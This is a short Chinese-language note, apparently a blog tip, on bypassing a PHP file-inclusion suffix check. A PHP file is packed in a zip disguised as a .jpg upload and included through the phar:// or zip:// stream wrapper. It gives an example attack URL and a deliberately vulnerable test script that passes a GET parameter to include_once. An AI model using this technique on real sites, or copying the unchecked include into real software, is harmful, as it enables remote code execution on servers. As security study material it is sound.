$include_file 可控，可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.php

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allow_url_include=Off (不考虑远程包含)

if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
        {
                include_once( $include_file );
        }

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解决方案

要求php>=5.3

把php打包成zip，改名上传，比如名为info.zip.jpg
然后用phar流包装器包含，其中info.zip.jpg为zip文件名，info.php为zip压缩包内子文件名

http://localhost/index.php?a=phar://info.zip.jpg/info.php

测试代码:

echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";
$include_file=$_GET['a'];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
    include_once( $include_file );
}
else
{
    echo "file err";
}

参考文档：http://php.net/manual/zh/phar.using.stream.php

PS.
据php官方文档所述，最少需要php5.3才能使用，5.3之前需要拓展
如果不能用的话，还可以试试zip流包装器(需要zip拓展)，注意转义井号：

zip://info.zip.jpg#info.php